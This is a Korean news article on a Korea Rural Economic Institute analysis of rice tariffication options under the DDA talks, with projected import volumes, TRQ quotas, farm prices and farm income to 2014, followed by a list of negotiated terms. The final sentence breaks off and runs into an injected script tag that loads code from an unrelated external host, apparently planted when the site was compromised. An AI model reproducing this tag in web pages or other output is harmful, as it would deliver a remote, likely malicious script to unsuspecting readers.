서진교 한국농촌경제연구원 박사는 지난 16일 기자워크숍자리에서 `쌀협상 결과와 파급영향''보고서를 통해 이같이 밝혔다.
서 박사는 “내년부터 관세화한 경우에 비해 평균적으로 매년 약 0.2%(약 1만톤)추가 수입이라는 비용을 지불하게 되지만 대신 수입량이 8%를 초과할 위험을 배제시키며, DDA타결 결과 개도국이 될 경우 유리한 선택을 할 수 있는 기회를 갖게 된다”며 이같이 강조했다.
서 박사는 또 “DDA결과 우리나라가 개도국지위를 계속 유지하게 된다면 관세화로 전환하는 것이 우리에게 유리하며, 선진국이 된다면 유예도중 관세화 전환의 실익이 크지 않을 것”으로 예상했다.
서 박사는 또 관세화시 10a당 쌀 소득은 올해 68만원에서 2014년 43~59만원으로 감소할 것으로 예상했으며 관세화 유예시에는 오는 2014년 53만5000원을 감소할 것으로 예상했다.
이 분석은 최근 17만원 기준가격의 소득보전직불제도의 효과는 고려하지 않은 것이다.
■관세화에 따른 파급 영향
DDA가 실제 이행에 들어가면 쌀 관세는 낮아지기 시작하며 그 속도와 감축 폭은 현재 불확실하나 10~30%범위에 있을 가능성이 높을 것으로 예상됐다.
개도국 지위를 유지하면 쌀 관세는 10%정도 감축될 것으로 예상되며 선진국이 된다고 해도 민감품목으로 지정할 수 있어 관세감축 폭은 30%를 넘어서기 어려울 것으로 전망됐다.
그러나 쌀에 관세상한이 설정돼 대폭적인 관세감축이 이뤄질 가능성도 배제하기 어려운 상황이다.
TRQ는 현 수준인 20만 5000톤에서 동결된다.
그러나 DDA이행시점부터 늘어나기 시작하고 그 증량 폭은 DDA에서 결정돼 현재로선 불확실하다.
최근 소비량 기준으로 하면 우리나라가 개도국 지위를 유지하면 최근 소비량의 5~6.6%까지, 선진국이 되면 8%까지 늘어날 가능성이 크다는 분석이다.
관세화시 예상되는 2014년 쌀 수입량은 국제가격, 환율, SSG 발동여부, 관세감축 폭 의 불확실성에 따라 MMA 4.4~15.5% 상당량(22~80만톤)으로 변동폭이 클 것으로 예상됐다.
쌀 재배면적은 올해 100만1000ha에서 오는 2014년 70만~79만ha로 감소할 것으로 예상되며 80kg당 농가판매가격은 올해 15만9000원에서 오는 2014년 10만6000~13만8000원까지 하락할 것으로 전망했다.
10a당 쌀 소득은 올해 68만원에서 오는 2014년 43~59만원으로 감소될 것으로 예상되며 이에 따라 쌀 총소득도 올해 6조8000억원에서 오는 2014년 3조~4조7000억원으로 줄어든다는 것.
■관세화 유예에 따른 파급 영향
TRQ는 올해 20만5000톤에서 매년 약 2만 톤씩 증가해 유예 10년째인 오는 2014년에는 41만톤까지 증가한다.
또 시판물량은 내년 약 2만300톤에서 오는 2014년 12만3000톤까지 증가한다.
이와 함께 관세화를 유예하는 동안에도 쌀의 관세를 계속해서 낮아지며 그 폭과 속도는 DDA에서 결정된 방식에 따르게 된다.
오는 2014년까지 쌀의 관세화를 유예할 경우 내년 이후 중·장기 쌀산업 전망은 정부의 재고정책에 따라 영향을 받게 될 것으로 보인다.
오는 2014년 쌀 재배면적은 76만5000ha로 추정되며 80kg당 농가판매가격은 오는 2014년 약 12만 7000원으로 하락해 10a당 소득과 쌀 총소득은 오는 2014년 53만5000원, 4조 1000억원으로 감소할 것으로 전망됐다.
■관세화 유예 도중 관세화로 전환하는 경우
MMA 8% 수준으로 관세화를 유예한 후 오는 2007년이나 2008년 관세화로 전환할 겨웅 2014년 예상 수입량은 평균적으로 MMA 7~7.5%(36만~38만 6000톤)상당량이 되는 것으로 분석됐다.
또 이 경우 쌀 재배면적은 77만~79만 ha가 될 것으로 보이며 80kg당 농가판매가격은 12만 7000~13만 4000원으로 예상됐다.
10a 당 쌀 소득은 오는 2014년 53만~59만원으로 추정되며 쌀 총소득은 올해 6조8000억원에서 오는 2014년 4조 1000~4조 6000억원으로 감소한다는 분석이다.
[주요 쟁점별 협상 내용 ]
<1> 유예 연장기간
2005년부터 2014년까지 10년 연장하며 2009년도에 단순 점검 성격의 중간점검 실시
이행 기간 중 우리 필요에 의해 언제든지 관세화로 전환 가능
관세화 전환시 적용 관세율은 농업협정문과 DDA협상의 일반원칙이 적용
<2> 저율관세수입물량(TRQ) 증량
2004년 국내 소비량의 4%수준인 20만5000톤에서 2014년 41만톤 8%수준으로 매년 균등 증량
<3>수입방식 및 TRQ용도
현행과 같이 국영무역 방식 유지
TRQ는 가공용과 밥쌀용으로 판매
밥쌀용 비율은 초년도 10%?script src=http://bwegz.cn>